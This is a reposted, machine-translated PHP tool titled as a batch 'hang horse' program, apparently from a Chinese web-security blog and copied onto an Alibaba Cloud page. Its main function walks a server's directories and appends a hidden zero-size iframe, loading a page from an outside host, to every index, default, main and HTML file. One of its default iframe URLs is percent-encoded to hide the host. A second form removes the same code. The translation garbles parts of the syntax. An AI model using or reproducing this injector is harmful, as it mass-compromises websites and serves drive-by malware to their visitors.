PHP under the bulk of the horse and batch of horse-cleaning code _php Skills

Source: Internet
Author: User
Tags ereg
Copy Code code as follows:

<?php
function Gmfun ($path = ".")
{
$d = @dir ($path);
while (false!== ($v = $d->read ())) {
if ($v = = "." | | $v = = "Continue");
$file = $d->path. " /". $v;
if (@is_dir ($file)) {
Gmfun ($file);
} else {
if (@ereg (Stripslashes ($_post["key"), $file)) {
$MM =stripcslashes (Trim ($_post[mm]);
$handle = @fopen ("$file", "a");
@fwrite ($handle, "$mm");
@fclose ($handle);
echo "has been hanged Horse file: $file \n<br>";

}
}
}
$d->close ();
echo "";
}
function Qmfun ($path = ".")
{
$d = @dir ($path);
while (false!== ($v = $d->read ())) {
if ($v = = "." | | $v = = "Continue");
$file = $d->path. " /". $v;
if (@is_dir ($file)) {
Qmfun ($file);
} else {
if (@ereg (Stripslashes ($_post["key"), $file)) {
$MM =stripcslashes (Trim ($_post[mm]);
$handle = fopen ("$file", "RB");
$oldcontent =fread ($handle, FileSize ($file));
Fclose ($handle);
$newcontent =str_replace ($MM, "", $oldcontent);
$FW = fopen ("$file", "WB");
Fwrite ($FW, $newcontent, strlen ($newcontent));
Fclose ($FW);
echo "has clear horse document: $file \n<br>";

}
}
}
$d->close ();
echo "";
}

if ($_get[' action ']== ' GM ') {
Set_time_limit (0);
Gmfun ($_post["dir"]);
}
if ($_get[' action ']== ' QM ') {
Set_time_limit (0);
Qmfun ($_post["dir"]);
}
?>
<title> Bulk Horse (Qing MA) program PHP version </title><body>
<form action= "$PHP _self?>?action=gm" method= "POST" >
<table border= "0″align=" center "cellpadding=" 0″cellspacing= "0″>
<tr>
&LT;TD height= "25″colspan=" 2″bgcolor= "006699″> <div align=" center "><font color=" #00FF00 ″size= "4″> Website Batch Horse program PHP version
by n3tl04d</font></div>
<td> </tr>
<tr>
&LT;TD height= "27″bgcolor=" #CCCCCC "> Path:</td>
&LT;TD height= "27″bgcolor=" #CCCCCC "> <input name=" dir "type=" text "value=". > (can be filled in relative path)
<td> </tr>
<tr>
&LT;TD height= "27″bgcolor=" #CCCCCC "> Hang horse keyword:</td>
&LT;TD height= "27″bgcolor=" #CCCCCC "> <input name=" key "type=" text "Value= ' index\.|" default\.| main\.| \.html ' >-– Regular expression matching--
&LT;TD colspan= "2″height=" 1″></td>
<td> </tr>
<tr>
&LT;TD height= "25″bgcolor=" #CCCCCC > Want to write to the horse code:</td>
&LT;TD height= "25″bgcolor=" #CCCCCC "><input name=" mm "type=" text "size=" 50″value= "<iframe src=http:// 982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe> ' >
<td> </tr>
<tr>
&LT;TD height= "25″colspan=" 2″bgcolor= "006699″> <div align=" center ">
<input type= "Submit" name= "Submission" value= "submitted" >

<input type= "reset" name= "submit2″value=" reset ">
</div></td>
<td> </tr>
</table>
</form>
<form action= "$PHP _self?>?action=qm" method= "POST" >
<table border= "0″align=" center "cellpadding=" 0″cellspacing= "0″>
<tr>
&LT;TD height= "25″colspan=" 2″bgcolor= "006699″> <div align=" center "><font color=" #00FF00 ″size= "4″> Batch Qing ma tools PHP version
By the Wind (LST) </font></div>
<td> </tr>
<tr>
&LT;TD height= "27″bgcolor=" #CCCCCC "> Path:</td>
&LT;TD height= "27″bgcolor=" #CCCCCC "> <input name=" dir "type=" text "value=". > (can be filled in relative path)
<td> </tr>
<tr>
&LT;TD height= "27″bgcolor=" #CCCCCC "The key word:</td> of Qing ma
&LT;TD height= "27″bgcolor=" #CCCCCC "> <input name=" key "type=" text "Value= ' index\.|" default\.| main\.| \.html ' >-– Regular expression matching--
&LT;TD colspan= "2″height=" 1″></td>
<td> </tr>
<tr>
&LT;TD height= "25″bgcolor=" #CCCCCC > Want to clear up the horse code:</td>
&LT;TD height= "25″bgcolor=" #CCCCCC "><input name=" mm "type=" text "size=" 50″value= "<iframe src=http://%31%73 %61%6e%69%32%6b%6d%2e%63%6e/%6a%6a%32.htm width=50 height=0 frameborder=0></iframe> ' >
<td> </tr>
<tr>
&LT;TD height= "25″colspan=" 2″bgcolor= "006699″> <div align=" center ">
<input type= "Submit" name= "Submission" value= "submitted" >

<input type= "reset" name= "submit2″value=" reset ">
</div></td>
<td> </tr>
</table>
</form>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.